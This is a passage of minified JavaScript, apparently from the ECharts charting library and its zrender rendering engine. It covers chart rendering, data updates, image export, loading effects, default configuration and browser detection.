t=this._messageCenter;t.dispatch(a.EVENT.DATA_CHANGED,e.event,this._eventPackage(e.target),this),t.dispatch(a.EVENT.REFRESH,null,null,this)}},_onlegendSelected:function(e){this._status.needRefresh=!1,n(this,"onlegendSelected",e,this._status),this._status.needRefresh&&this._messageCenter.dispatch(a.EVENT.REFRESH,null,null,this)},_ondataZoom:function(e){this._status.needRefresh=!1,n(this,"ondataZoom",e,this._status),this._status.needRefresh&&this._messageCenter.dispatch(a.EVENT.REFRESH,null,null,this)},_ondataRange:function(e){this._clearEffect(),this._status.needRefresh=!1,n(this,"ondataRange",e,this._status),this._status.needRefresh&&this._zr.refreshNextFrame()},_onmagicTypeChanged:function(){this._clearEffect(),this._render(this._toolbox.getMagicOption())},_ondataViewChanged:function(e){this._syncBackupData(e.option),this._messageCenter.dispatch(a.EVENT.DATA_CHANGED,null,e,this),this._messageCenter.dispatch(a.EVENT.REFRESH,null,null,this)},_tooltipHover:function(e){var t=[];n(this,"ontooltipHover",e,t)},_onrestore:function(){this.restore()},_onrefresh:function(e){this._refreshInside=!0,this.refresh(e),this._refreshInside=!1},_syncBackupData:function(e){this.component.dataZoom&&this.component.dataZoom.syncBackupData(e)},_eventPackage:function(t){if(t){var i=e("./util/ecData"),n=i.get(t,"seriesIndex"),a=i.get(t,"dataIndex");return a=-1!=n&&this.component.dataZoom?this.component.dataZoom.getRealDataIndex(n,a):a,{seriesIndex:n,seriesName:(i.get(t,"series")||{}).name,dataIndex:a,data:i.get(t,"data"),name:i.get(t,"name"),value:i.get(t,"value"),special:i.get(t,"special")}}},_noDataCheck:function(e){for(var t=e.series,i=0,n=t.length;n>i;i++)if(t[i].type==a.CHART_TYPE_MAP||t[i].data&&t[i].data.length>0||t[i].markPoint&&t[i].markPoint.data&&t[i].markPoint.data.length>0||t[i].markLine&&t[i].markLine.data&&t[i].markLine.data.length>0||t[i].nodes&&t[i].nodes.length>0||t[i].links&&t[i].links.length>0||t[i].matrix&&t[i].matrix.length>0||t[i].eventList&&t[i].eventList.length>0)return!1;var o=this._option&&this._option.noDataLoadingOption||this._themeConfig.noDataLoadingOption||a.noDataLoadingOption||{text:this._option&&this._option.noDataText||this._themeConfig.noDataText||a.noDataText,effect:this._option&&this._option.noDataEffect||this._themeConfig.noDataEffect||a.noDataEffect};return this.clear(),this.showLoading(o),!0},_render:function(t){if(this._mergeGlobalConifg(t),!this._noDataCheck(t)){var i=t.backgroundColor;if(i)if(l||-1==i.indexOf("rgba"))this.dom.style.backgroundColor=i;else{var n=i.split(",");this.dom.style.filter="alpha(opacity="+100*n[3].substring(0,n[3].lastIndexOf(")"))+")",n.length=3,n[0]=n[0].replace("a",""),this.dom.style.backgroundColor=n.join(",")+")"}this._zr.clearAnimation(),this._chartList=[];var o=e("./chart"),r=e("./component");(t.xAxis||t.yAxis)&&(t.grid=t.grid||{},t.dataZoom=t.dataZoom||{});for(var s,h,m,V=["title","legend","tooltip","dataRange","roamController","grid","dataZoom","xAxis","yAxis","polar"],U=0,d=V.length;d>U;U++)h=V[U],m=this.component[h],t[h]?(m?m.refresh&&m.refresh(t):(s=r.get(/^[xy]Axis$/.test(h)?"axis":h),m=new s(this._themeConfig,this._messageCenter,this._zr,t,this,h),this.component[h]=m),this._chartList.push(m)):m&&(m.dispose(),this.component[h]=null,delete this.component[h]);for(var p,c,u,y={},U=0,d=t.series.length;d>U;U++)c=t.series[U].type,c?y[c]||(y[c]=!0,p=o.get(c),p?(this.chart[c]?(u=this.chart[c],u.refresh(t)):u=new p(this._themeConfig,this._messageCenter,this._zr,t,this),this._chartList.push(u),this.chart[c]=u):console.error(c+" has not been required.")):console.error("series["+U+"] chart type has not been defined.");for(c in this.chart)c==a.CHART_TYPE_ISLAND||y[c]||(this.chart[c].dispose(),this.chart[c]=null,delete this.chart[c]);this.component.grid&&this.component.grid.refixAxisShape(this.component),this._island.refresh(t),this._toolbox.refresh(t),t.animation&&!t.renderAsImage?this._zr.refresh():this._zr.render();var g="IMG"+this.id,b=document.getElementById(g);t.renderAsImage&&l?(b?b.src=this.getDataURL(t.renderAsImage):(b=this.getImage(t.renderAsImage),b.id=g,b.style.position="absolute",b.style.left=0,b.style.top=0,this.dom.firstChild.appendChild(b)),this.un(),this._zr.un(),this._disposeChartList(),this._zr.clear()):b&&b.parentNode.removeChild(b),b=null,this._option=t}},restore:function(){this._clearEffect(),this._option=o.clone(this._optionRestore),this._disposeChartList(),this._island.clear(),this._toolbox.reset(this._option,!0),this._render(this._option)},refresh:function(e){this._clearEffect(),e=e||{};var t=e.option;!this._refreshInside&&t&&(t=this.getOption(),o.merge(t,e.option,!0),o.merge(this._optionRestore,e.option,!0),this._toolbox.reset(t)),this._island.refresh(t),this._toolbox.refresh(t),this._zr.clearAnimation();for(var i=0,n=this._chartList.length;n>i;i++)this._chartList[i].refresh&&this._chartList[i].refresh(t);this.component.grid&&this.component.grid.refixAxisShape(this.component),this._zr.refresh()},_disposeChartList:function(){this._clearEffect(),this._zr.clearAnimation();for(var e=this._chartList.length;e--;){var t=this._chartList[e];if(t){var i=t.type;this.chart[i]&&delete this.chart[i],this.component[i]&&delete this.component[i],t.dispose&&t.dispose()}}this._chartList=[]},_mergeGlobalConifg:function(t){for(var i=["backgroundColor","calculable","calculableColor","calculableHolderColor","nameConnector","valueConnector","animation","animationThreshold","animationDuration","animationDurationUpdate","animationEasing","addDataAnimation","symbolList","DRAG_ENABLE_TIME"],n=i.length;n--;){var o=i[n];null==t[o]&&(t[o]=null!=this._themeConfig[o]?this._themeConfig[o]:a[o])}var r=t.color;r&&r.length||(r=this._themeConfig.color||a.color),this._zr.getColor=function(t){var i=e("zrender/tool/color");return i.getColor(t,r)},l||(t.animation=!1,t.addDataAnimation=!1)},setOption:function(e,t){return e.timeline?this._setTimelineOption(e):this._setOption(e,t)},_setOption:function(e,t,i){return!t&&this._option?this._option=o.merge(this.getOption(),o.clone(e),!0):(this._option=o.clone(e),!i&&this._timeline&&this._timeline.dispose()),this._optionRestore=o.clone(this._option),this._option.series&&0!==this._option.series.length?(this.component.dataZoom&&(this._option.dataZoom||this._option.toolbox&&this._option.toolbox.feature&&this._option.toolbox.feature.dataZoom&&this._option.toolbox.feature.dataZoom.show)&&this.component.dataZoom.syncOption(this._option),this._toolbox.reset(this._option),this._render(this._option),this):void this._zr.clear()},getOption:function(){function e(e){var n=i._optionRestore[e];if(n)if(n instanceof Array)for(var a=n.length;a--;)t[e][a].data=o.clone(n[a].data);else t[e].data=o.clone(n.data)}var t=o.clone(this._option),i=this;return e("xAxis"),e("yAxis"),e("series"),t},setSeries:function(e,t){return t?(this._option.series=e,this.setOption(this._option,t)):this.setOption({series:e}),this},getSeries:function(){return this.getOption().series},_setTimelineOption:function(t){this._timeline&&this._timeline.dispose();var i=e("./component/timeline"),n=new i(this._themeConfig,this._messageCenter,this._zr,t,this);return this._timeline=n,this.component.timeline=this._timeline,this},addData:function(e,t,i,n,r){function s(){if(V._zr){V._zr.clearAnimation();for(var e=0,t=X.length;t>e;e++)X[e].motionlessOnce=h.addDataAnimation&&X[e].addDataAnimation;V._messageCenter.dispatch(a.EVENT.REFRESH,null,{option:h},V)}}for(var l=e instanceof Array?e:[[e,t,i,n,r]],h=this.getOption(),m=this._optionRestore,V=this,U=0,d=l.length;d>U;U++){e=l[U][0],t=l[U][1],i=l[U][2],n=l[U][3],r=l[U][4];var p=m.series[e],c=i?"unshift":"push",u=i?"pop":"shift";if(p){var y=p.data,g=h.series[e].data;if(y[c](t),g[c](t),n||(y[u](),t=g[u]()),null!=r){var b,f;if(p.type===a.CHART_TYPE_PIE&&(b=m.legend)&&(f=b.data)){var k=h.legend.data;if(f[c](r),k[c](r),!n){var x=o.indexOf(f,t.name);-1!=x&&f.splice(x,1),x=o.indexOf(k,t.name),-1!=x&&k.splice(x,1)}}else if(null!=m.xAxis&&null!=m.yAxis){var _,L,W=p.xAxisIndex||0;(null==m.xAxis[W].type||"category"===m.xAxis[W].type)&&(_=m.xAxis[W].data,L=h.xAxis[W].data,_[c](r),L[c](r),n||(_[u](),L[u]())),W=p.yAxisIndex||0,"category"===m.yAxis[W].type&&(_=m.yAxis[W].data,L=h.yAxis[W].data,_[c](r),L[c](r),n||(_[u](),L[u]()))}}this._option.series[e].data=h.series[e].data}}this._zr.clearAnimation();for(var X=this._chartList,v=0,w=function(){v--,0===v&&s()},U=0,d=X.length;d>U;U++)h.addDataAnimation&&X[U].addDataAnimation&&(v++,X[U].addDataAnimation(l,w));return this.component.dataZoom&&this.component.dataZoom.syncOption(h),this._option=h,h.addDataAnimation||setTimeout(s,0),this},addMarkPoint:function(e,t){return this._addMark(e,t,"markPoint")},addMarkLine:function(e,t){return this._addMark(e,t,"markLine")},_addMark:function(e,t,i){var n,a=this._option.series;if(a&&(n=a[e])){var r=this._optionRestore.series,s=r[e],l=n[i],h=s[i];l=n[i]=l||{data:[]},h=s[i]=h||{data:[]};for(var m in t)"data"===m?(l.data=l.data.concat(t.data),h.data=h.data.concat(t.data)):"object"!=typeof t[m]||null==l[m]?l[m]=h[m]=t[m]:(o.merge(l[m],t[m],!0),o.merge(h[m],t[m],!0));var V=this.chart[n.type];V&&V.addMark(e,t,i)}return this},delMarkPoint:function(e,t){return this._delMark(e,t,"markPoint")},delMarkLine:function(e,t){return this._delMark(e,t,"markLine")},_delMark:function(e,t,i){var n,a,o,r=this._option.series;if(!(r&&(n=r[e])&&(a=n[i])&&(o=a.data)))return this;t=t.split(" > ");for(var s=-1,l=0,h=o.length;h>l;l++){var m=o[l];if(m instanceof Array){if(m[0].name===t[0]&&m[1].name===t[1]){s=l;break}}else if(m.name===t[0]){s=l;break}}if(s>-1){o.splice(s,1),this._optionRestore.series[e][i].data.splice(s,1);var V=this.chart[n.type];V&&V.delMark(e,t.join(" > "),i)}return this},getDom:function(){return this.dom},getZrender:function(){return this._zr},getDataURL:function(e){if(!l)return"";if(0===this._chartList.length){var t="IMG"+this.id,i=document.getElementById(t);if(i)return i.src}var n=this.component.tooltip;switch(n&&n.hideTip(),e){case"jpeg":break;default:e="png"}var a=this._option.backgroundColor;return a&&"rgba(0,0,0,0)"===a.replace(" ","")&&(a="#fff"),this._zr.toDataURL("image/"+e,a)},getImage:function(e){var t=this._optionRestore.title,i=document.createElement("img");return i.src=this.getDataURL(e),i.title=t&&t.text||"ECharts",i},getConnectedDataURL:function(t){if(!this.isConnected())return this.getDataURL(t);var i=this.dom,n={self:{img:this.getDataURL(t),left:i.offsetLeft,top:i.offsetTop,right:i.offsetLeft+i.offsetWidth,bottom:i.offsetTop+i.offsetHeight}},a=n.self.left,o=n.self.top,r=n.self.right,s=n.self.bottom;for(var l in this._connected)i=this._connected[l].getDom(),n[l]={img:this._connected[l].getDataURL(t),left:i.offsetLeft,top:i.offsetTop,right:i.offsetLeft+i.offsetWidth,bottom:i.offsetTop+i.offsetHeight},a=Math.min(a,n[l].left),o=Math.min(o,n[l].top),r=Math.max(r,n[l].right),s=Math.max(s,n[l].bottom);var h=document.createElement("div");h.style.position="absolute",h.style.left="-4000px",h.style.width=r-a+"px",h.style.height=s-o+"px",document.body.appendChild(h);var m=e("zrender").init(h),V=e("zrender/shape/Image");for(var l in n)m.addShape(new V({style:{x:n[l].left-a,y:n[l].top-o,image:n[l].img}}));m.render();var U=this._option.backgroundColor;U&&"rgba(0,0,0,0)"===U.replace(/ /g,"")&&(U="#fff");var d=m.toDataURL("image/png",U);return setTimeout(function(){m.dispose(),h.parentNode.removeChild(h),h=null},100),d},getConnectedImage:function(e){var t=this._optionRestore.title,i=document.createElement("img");return i.src=this.getConnectedDataURL(e),i.title=t&&t.text||"ECharts",i},on:function(e,t){return this._messageCenterOutSide.bind(e,t,this),this},un:function(e,t){return this._messageCenterOutSide.unbind(e,t),this},connect:function(e){if(!e)return this;if(this._connected||(this._connected={}),e instanceof Array)for(var t=0,i=e.length;i>t;t++)this._connected[e[t].id]=e[t];else this._connected[e.id]=e;return this},disConnect:function(e){if(!e||!this._connected)return this;if(e instanceof Array)for(var t=0,i=e.length;i>t;t++)delete this._connected[e[t].id];else delete this._connected[e.id];for(var n in this._connected)return this;return this._connected=!1,this},connectedEventHandler:function(e){e.__echartsId!=this.id&&this._onevent(e)},isConnected:function(){return!!this._connected},showLoading:function(t){var i={bar:e("zrender/loadingEffect/Bar"),bubble:e("zrender/loadingEffect/Bubble"),dynamicLine:e("zrender/loadingEffect/DynamicLine"),ring:e("zrender/loadingEffect/Ring"),spin:e("zrender/loadingEffect/Spin"),whirling:e("zrender/loadingEffect/Whirling")};this._toolbox.hideDataView(),t=t||{};var n=t.textStyle||{};t.textStyle=n;var r=o.merge(o.merge(o.clone(n),this._themeConfig.textStyle),a.textStyle);n.textFont=r.fontStyle+" "+r.fontWeight+" "+r.fontSize+"px "+r.fontFamily,n.text=t.text||this._option&&this._option.loadingText||this._themeConfig.loadingText||a.loadingText,null!=t.x&&(n.x=t.x),null!=t.y&&(n.y=t.y),t.effectOption=t.effectOption||{},t.effectOption.textStyle=n;var s=t.effect;return("string"==typeof s||null==s)&&(s=i[t.effect||this._option&&this._option.loadingEffect||this._themeConfig.loadingEffect||a.loadingEffect]||i.spin),this._zr.showLoading(new s(t.effectOption)),this},hideLoading:function(){return this._zr.hideLoading(),this},setTheme:function(t){if(t){if("string"==typeof t)switch(t){case"macarons":t=e("./theme/macarons");break;case"infographic":t=e("./theme/infographic");break;default:t={}}else t=t||{};this._themeConfig=t}if(!l){var i=this._themeConfig.textStyle;i&&i.fontFamily&&i.fontFamily2&&(i.fontFamily=i.fontFamily2),i=a.textStyle,i.fontFamily=i.fontFamily2}this._timeline&&this._timeline.setTheme(!0),this._optionRestore&&this.restore()},resize:function(){var e=this;return function(){if(e._clearEffect(),e._zr.resize(),e._option&&e._option.renderAsImage&&l)return e._render(e._option),e;e._zr.clearAnimation(),e._island.resize(),e._toolbox.resize(),e._timeline&&e._timeline.resize();for(var t=0,i=e._chartList.length;i>t;t++)e._chartList[t].resize&&e._chartList[t].resize();return e.component.grid&&e.component.grid.refixAxisShape(e.component),e._zr.refresh(),e._messageCenter.dispatch(a.EVENT.RESIZE,null,null,e),e}},_clearEffect:function(){this._zr.modLayer(a.EFFECT_ZLEVEL,{motionBlur:!1}),this._zr.painter.clearLayer(a.EFFECT_ZLEVEL)},clear:function(){return this._disposeChartList(),this._zr.clear(),this._option={},this._optionRestore={},this.dom.style.backgroundColor=null,this},dispose:function(){var e=this.dom.getAttribute(V);e&&delete m[e],this._island.dispose(),this._toolbox.dispose(),this._timeline&&this._timeline.dispose(),this._messageCenter.unbind(),this.clear(),this._zr.dispose(),this._zr=null}},s}),i("echarts/config",[],function(){var e={CHART_TYPE_LINE:"line",CHART_TYPE_BAR:"bar",CHART_TYPE_SCATTER:"scatter",CHART_TYPE_PIE:"pie",CHART_TYPE_RADAR:"radar",CHART_TYPE_VENN:"venn",CHART_TYPE_TREEMAP:"treemap",CHART_TYPE_TREE:"tree",CHART_TYPE_MAP:"map",CHART_TYPE_K:"k",CHART_TYPE_ISLAND:"island",CHART_TYPE_FORCE:"force",CHART_TYPE_CHORD:"chord",CHART_TYPE_GAUGE:"gauge",CHART_TYPE_FUNNEL:"funnel",CHART_TYPE_EVENTRIVER:"eventRiver",CHART_TYPE_WORDCLOUD:"wordCloud",CHART_TYPE_HEATMAP:"heatmap",COMPONENT_TYPE_TITLE:"title",COMPONENT_TYPE_LEGEND:"legend",COMPONENT_TYPE_DATARANGE:"dataRange",COMPONENT_TYPE_DATAVIEW:"dataView",COMPONENT_TYPE_DATAZOOM:"dataZoom",COMPONENT_TYPE_TOOLBOX:"toolbox",COMPONENT_TYPE_TOOLTIP:"tooltip",COMPONENT_TYPE_GRID:"grid",COMPONENT_TYPE_AXIS:"axis",COMPONENT_TYPE_POLAR:"polar",COMPONENT_TYPE_X_AXIS:"xAxis",COMPONENT_TYPE_Y_AXIS:"yAxis",COMPONENT_TYPE_AXIS_CATEGORY:"categoryAxis",COMPONENT_TYPE_AXIS_VALUE:"valueAxis",COMPONENT_TYPE_TIMELINE:"timeline",COMPONENT_TYPE_ROAMCONTROLLER:"roamController",backgroundColor:"rgba(0,0,0,0)",color:["#ff7f50","#87cefa","#da70d6","#32cd32","#6495ed","#ff69b4","#ba55d3","#cd5c5c","#ffa500","#40e0d0","#1e90ff","#ff6347","#7b68ee","#00fa9a","#ffd700","#6699FF","#ff6666","#3cb371","#b8860b","#30e0e0"],markPoint:{clickable:!0,symbol:"pin",symbolSize:10,large:!1,effect:{show:!1,loop:!0,period:15,type:"scale",scaleSize:2,bounceDistance:10},itemStyle:{normal:{borderWidth:2,label:{show:!0,position:"inside"}},emphasis:{label:{show:!0}}}},markLine:{clickable:!0,symbol:["circle","arrow"],symbolSize:[2,4],smoothness:.2,precision:2,effect:{show:!1,loop:!0,period:15,scaleSize:2},bundling:{enable:!1,maxTurningAngle:45},itemStyle:{normal:{borderWidth:1.5,label:{show:!0,position:"end"},lineStyle:{type:"dashed"}},emphasis:{label:{show:!1},lineStyle:{}}}},textStyle:{decoration:"none",fontFamily:"Arial, Verdana, sans-serif",fontFamily2:"微软雅黑",fontSize:12,fontStyle:"normal",fontWeight:"normal"},EVENT:{REFRESH:"refresh",RESTORE:"restore",RESIZE:"resize",CLICK:"click",DBLCLICK:"dblclick",HOVER:"hover",MOUSEOUT:"mouseout",DATA_CHANGED:"dataChanged",DATA_ZOOM:"dataZoom",DATA_RANGE:"dataRange",DATA_RANGE_SELECTED:"dataRangeSelected",DATA_RANGE_HOVERLINK:"dataRangeHoverLink",LEGEND_SELECTED:"legendSelected",LEGEND_HOVERLINK:"legendHoverLink",MAP_SELECTED:"mapSelected",PIE_SELECTED:"pieSelected",MAGIC_TYPE_CHANGED:"magicTypeChanged",DATA_VIEW_CHANGED:"dataViewChanged",TIMELINE_CHANGED:"timelineChanged",MAP_ROAM:"mapRoam",FORCE_LAYOUT_END:"forceLayoutEnd",TOOLTIP_HOVER:"tooltipHover",TOOLTIP_IN_GRID:"tooltipInGrid",TOOLTIP_OUT_GRID:"tooltipOutGrid",ROAMCONTROLLER:"roamController"},DRAG_ENABLE_TIME:120,EFFECT_ZLEVEL:10,effectBlendAlpha:.95,symbolList:["circle","rectangle","triangle","diamond","emptyCircle","emptyRectangle","emptyTriangle","emptyDiamond"],loadingEffect:"spin",loadingText:"数据读取中...",noDataEffect:"bubble",noDataText:"暂无数据",calculable:!1,calculableColor:"rgba(255,165,0,0.6)",calculableHolderColor:"#ccc",nameConnector:" & ",valueConnector:": ",animation:!0,addDataAnimation:!0,animationThreshold:2e3,animationDuration:2e3,animationDurationUpdate:500,animationEasing:"ExponentialOut"};return e}),i("zrender/tool/util",["require","../dep/excanvas"],function(e){function t(e){return e&&1===e.nodeType&&"string"==typeof e.nodeName}function i(e){if("object"==typeof e&&null!==e){var n=e;if(e instanceof Array){n=[];for(var a=0,o=e.length;o>a;a++)n[a]=i(e[a])}else if(!y[g.call(e)]&&!t(e)){n={};for(var r in e)e.hasOwnProperty(r)&&(n[r]=i(e[r]))}return n}return e}function n(e,i,n,o){if(i.hasOwnProperty(n)){var r=e[n];"object"!=typeof r||y[g.call(r)]||t(r)?!o&&n in e||(e[n]=i[n]):a(e[n],i[n],o)}}function a(e,t,i){for(var a in t)n(e,t,a,i);return e}function o(){if(!U)if(e("../dep/excanvas"),window.G_vmlCanvasManager){var t=document.createElement("div");t.style.position="absolute",t.style.top="-1000px",document.body.appendChild(t),U=G_vmlCanvasManager.initElement(t).getContext("2d")}else U=document.createElement("canvas").getContext("2d");return U}function r(e,t){if(e.indexOf)return e.indexOf(t);for(var i=0,n=e.length;n>i;i++)if(e[i]===t)return i;return-1}function s(e,t){function i(){}var n=e.prototype;i.prototype=t.prototype,e.prototype=new i;for(var a in n)e.prototype[a]=n[a];e.constructor=e}function l(e,t,i){if(e&&t)if(e.forEach&&e.forEach===p)e.forEach(t,i);else if(e.length===+e.length)for(var n=0,a=e.length;a>n;n++)t.call(i,e[n],n,e);else for(var o in e)e.hasOwnProperty(o)&&t.call(i,e[o],o,e)}function h(e,t,i){if(e&&t){if(e.map&&e.map===c)return e.map(t,i);for(var n=[],a=0,o=e.length;o>a;a++)n.push(t.call(i,e[a],a,e));return n}}function m(e,t,i){if(e&&t){if(e.filter&&e.filter===u)return e.filter(t,i);for(var n=[],a=0,o=e.length;o>a;a++)t.call(i,e[a],a,e)&&n.push(e[a]);return n}}function V(e,t){return function(){e.apply(t,arguments)}}var U,d=Array.prototype,p=d.forEach,c=d.map,u=d.filter,y={"[object Function]":1,"[object RegExp]":1,"[object Date]":1,"[object Error]":1,"[object CanvasGradient]":1},g=Object.prototype.toString;return{inherits:s,clone:i,merge:a,getContext:o,indexOf:r,each:l,map:h,filter:m,bind:V}}),i("zrender/tool/event",["require","../mixin/Eventful"],function(e){"use strict";function t(e){return"undefined"!=typeof e.zrenderX&&e.zrenderX||"undefined"!=typeof e.offsetX&&e.offsetX||"undefined"!=typeof e.layerX&&e.layerX||"undefined"!=typeof e.clientX&&e.clientX}function i(e){return"undefined"!=typeof e.zrenderY&&e.zrenderY||"undefined"!=typeof e.offsetY&&e.offsetY||"undefined"!=typeof e.layerY&&e.layerY||"undefined"!=typeof e.clientY&&e.clientY}function n(e){return"undefined"!=typeof e.zrenderDelta&&e.zrenderDelta||"undefined"!=typeof e.wheelDelta&&e.wheelDelta||"undefined"!=typeof e.detail&&-e.detail}var a=e("../mixin/Eventful"),o="function"==typeof window.addEventListener?function(e){e.preventDefault(),e.stopPropagation(),e.cancelBubble=!0}:function(e){e.returnValue=!1,e.cancelBubble=!0};return{getX:t,getY:i,getDelta:n,stop:o,Dispatcher:a}}),i("zrender/tool/env",[],function(){function e(e){var t=this.os={},i=this.browser={},n=e.match(/Web[kK]it[\/]{0,1}([\d.]+)/),a=e.match(/(Android);?[\s\/]+([\d.]+)?/),o=e.match(/(iPad).*OS\s([\d_]+)/),r=e.match(/(iPod)(.*OS\s([\d_]+))?/),s=!o&&e.match(/(iPhone\sOS)\s([\d_]+)/),l=e.match(/(webOS|hpwOS)[\s\/]([\d.]+)/),h=l&&e.match(/TouchPad/),m=e.match(/Kindle\/([\d.]+)/),V=e.match(/Silk\/([\d._]+)/),U=e.match(/(BlackBerry).*Version\/([\d.]+)/),d=e.match(/(BB10).*Version\/([\d.]+)/),p=e.match(/(RIM\sTablet\sOS)\s([\d.]+)/),c=e.match(/PlayBook/),u=e.match(/Chrome\/([\d.]+)/)||e.match(/CriOS\/([\d.]+)/),y=e.match(/Firefox\/([\d.]+)/),g=e.match(/MSIE ([\d.]+)/),b=n&&e.match(/Mobile\//)&&!u,f=e.match(/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/)&&!u,g=e.match(/MSIE\s([\d.]+)/);return(i.webkit=!!n)&&(i.version=n[1]),a&&(t.android=!0,t.version=a[2]),s&&!r&&(t.ios=t.iphone=!0,t.version=s[2].replace(/_/g,".")),o&&(t.ios=t.ipad=!0,t.version=o[2].replace(/_/g,".")),r&&(t.ios=t.ipod=!0,t.version=r[3]?r[3].replace(/_/g,"."):null),l&&(t.webos=!0,t.version=l[2]),h&&(t.touchpad=!0),U&&(t.blackberry=!0,t.version=U[2]),d&&(t.bb10=!0,t.version=d[2]),p&&(t.rimtabletos=!0,t.version=p[2]),c&&(i.playbook=!0),m&&(t.kindle=!0,t.version=m[1]),V&&(i.silk=!0,i.version=V[1]),!V&&t.android&&e.match(/Kindle Fire/)&&(i.silk=!0),u&&(i.chrome=!0,i.version=u[1]),y&&(i.firefox=!0,i.version=y[1]),g&&(i.ie=!0,i.version=g[1]),b&&(e.match(/Safari/)||t.ios)&&(i.safari=!0),f&&(i.webview=!0),g&&(i.ie=!0,i.version=g[1]),t.tablet=!!(o||c||a&&!e.match(/Mobile/)||y&&e.match(/Tablet/)||g&&!e.match(/Phone/)&&e.match(/Touch/)),t.phone=!(t.tablet||t.ipod||!(a||s||l||U||d||u&&e.match(/Android/)||u&&e.match(/CriOS\/([\d.]+)/)||y&&e.match(/Mobile/)||g&&e.match(/Touch/))),{browser:i,os:t,canvasSupported:document.createElement("canvas").getContext?!0:!1}}return e(navigator.userAgent)}),i("zrender",["zrender/zrender"],function(e){return e}),i("zrender/zrender",["require","./dep/excanvas","./tool/util","./tool/log","./tool/guid","./Handler","./Painter","./Storage","./animation/Animation","./tool/env"],function(e){function t(e){return function(){e._needsRefreshNextFrame&&e.refresh()}}e("./dep/excanvas");var i=e("./tool/util"),n=e("./tool/log"),a=e("./tool/guid"),o=e("./Handler"),r=e("./Painter"),s=e("./Storage"),l=e("./animation/Animation"),h={},m={};m.version="2.1.1",m.init=function(e){var t=new V(a(),e);return h[t.id]=t,t},m.dispose=function(e){if(e)e.dispose();else{for(var t in h)h[t].dispose();h={}}return m},m.getInstance=function(e){return h[e]},m.delInstance=function(e){return delete h[e],m};var V=function(i,n){this.id=i,this.env=e("./tool/env"),this.storage=new s,this.painter=new r(n,this.storage),this.handler=new o(n,this.storage,this.painter),this.animation=new l({stage:{update:t(this)}}),this.animation.start();var a=this;this.painter.refreshNextFrame=function(){a.refreshNextFrame()},this._needsRefreshNextFrame=!1;var a=this,h=this.storage,m=h.delFromMap;h.delFromMap=function(e){var t=h.get(e);a.stopAnimation(t),m.call(h,e)}};return V.prototype.getId=function(){return this.id},V.prototype.addShape=function(e){return this.addElement(e),this},V.prototype.addGroup=function(e){return this.addElement(e),this},V.prototype.delShape=function(e){return this.delElement(e),this},V.prototype.delGroup=function(e){return this.delElement(e),this},V.prototype.modShape=function(e,t){return this.modElement(e,t),this},V.prototype.modGroup=function(e,t){return this.modElement(e,t),this},V.prototype.addElement=function(e){return this.storage.addRoot(e),this._needsRefreshNextFrame=!0,this},V.prototype.delElement=function(e){return this.storage.delRoot(e),this._needsRefreshNextFrame=!0,this},V.prototype.modElement=function(e,t){return this.storage.mod(e,t),this._needsRefreshNextFrame=!0,this},V.prototype.modLayer=function(e,t){return this.painter.modLayer(e,t),this._needsRefreshNextFrame=!0,this},V.prototype.addHoverShape=function(e){return this.storage.addHover(e),this},V.prototype.render=function(e){return this.painter.render(e),this._needsRefreshNextFrame=!1,this},V.prototype.refresh=function(e){return this.painter.refresh(e),this._needsRefreshNextFrame=!1,this},V.prototype.refreshNextFrame=function(){return this._needsRefreshNextFrame=!0,this},V.prototype.refreshHover=function(e){return this.painter.refreshHover(e),this},V.prototype.refreshShapes=function(e,t){return this.painter.refreshShapes(e,t),this},V.prototype.resize=function(){return this.painter.resize(),this},V.prototype.animate=function(e,t,a){var o=this;if("string"==typeof e&&(e=this.storage.get(e)),e){var r;if(t){for(var s=t.split("."),l=e,h=0,m=s.length;m>h;h++)l&&(l=l[s[h]]);l&&(r=l)}else r=e;if(!r)return void n('Property "'+t+'" is not existed in element '+e.id); + +null==e.__animators&&(e.__animators=[]);var V=e.__animators,U=this.animation.animate(r,{loop:a}).during(function(){o.modShape(e)}).done(function(){var t=i.indexOf(e.__animators,U);t>=0&&V.splice(t,1)});return V.push(U),U}n("Element not existed")},V.prototype.stopAnimation=function(e){if(e.__animators){for(var t=e.__animators,i=t.length,n=0;i>n;n++)t[n].stop();t.length=0}return this},V.prototype.clearAnimation=function(){return this.animation.clear(),this},V.prototype.showLoading=function(e){return this.painter.showLoading(e),this},V.prototype.hideLoading=function(){return this.painter.hideLoading(),this},V.prototype.getWidth=function(){return this.painter.getWidth()},V.prototype.getHeight=function(){return this.painter.getHeight()},V.prototype.toDataURL=function(e,t,i){return this.painter.toDataURL(e,t,i)},V.prototype.shapeToImage=function(e,t,i){var n=a();return this.painter.shapeToImage(n,e,t,i)},V.prototype.on=function(e,t,i){return this.handler.on(e,t,i),this},V.prototype.un=function(e,t){return this.handler.un(e,t),this},V.prototype.trigger=function(e,t){return this.handler.trigger(e,t),this},V.prototype.clear=function(){return this.storage.delRoot(),this.painter.clear(),this},V.prototype.dispose=function(){this.animation.stop(),this.clear(),this.storage.dispose(),this.painter.dispose(),this.handler.dispose(),this.animation=this.storage=this.painter=this.handler=null,m.delInstance(this.id)},m}),i("zrender/config",[],function(){var e={EVENT:{RESIZE:"resize",CLICK:"click",DBLCLICK:"dblclick",MOUSEWHEEL:"mousewheel",MOUSEMOVE:"mousemove",MOUSEOVER:"mouseover",MOUSEOUT:"mouseout",MOUSEDOWN:"mousedown",MOUSEUP:"mouseup",GLOBALOUT:"globalout",DRAGSTART:"dragstart",DRAGEND:"dragend",DRAGENTER:"dragenter",DRAGOVER:"dragover",DRAGLEAVE:"dragleave",DROP:"drop",touchClickDelay:300},elementClassName:"zr-element",catchBrushException:!1,debugMode:0,devicePixelRatio:Math.max(window.devicePixelRatio||1,1)};return e}),i("echarts/chart/island",["require","./base","zrender/shape/Circle","../config","../util/ecData","zrender/tool/util","zrender/tool/event","zrender/tool/color","../util/accMath","../chart"],function(e){function t(e,t,n,a,r){i.call(this,e,t,n,a,r),this._nameConnector,this._valueConnector,this._zrHeight=this.zr.getHeight(),this._zrWidth=this.zr.getWidth();var l=this;l.shapeHandler.onmousewheel=function(e){var t=e.target,i=e.event,n=s.getDelta(i);n=n>0?-1:1,t.style.r-=n,t.style.r=t.style.r<5?5:t.style.r;var a=o.get(t,"value"),r=a*l.option.island.calculateStep;a=r>1?Math.round(a-r*n):+(a-r*n).toFixed(2);var h=o.get(t,"name");t.style.text=h+":"+a,o.set(t,"value",a),o.set(t,"name",h),l.zr.modShape(t.id),l.zr.refreshNextFrame(),s.stop(i)}}var i=e("./base"),n=e("zrender/shape/Circle"),a=e("../config");a.island={zlevel:0,z:5,r:15,calculateStep:.1};var o=e("../util/ecData"),r=e("zrender/tool/util"),s=e("zrender/tool/event");return 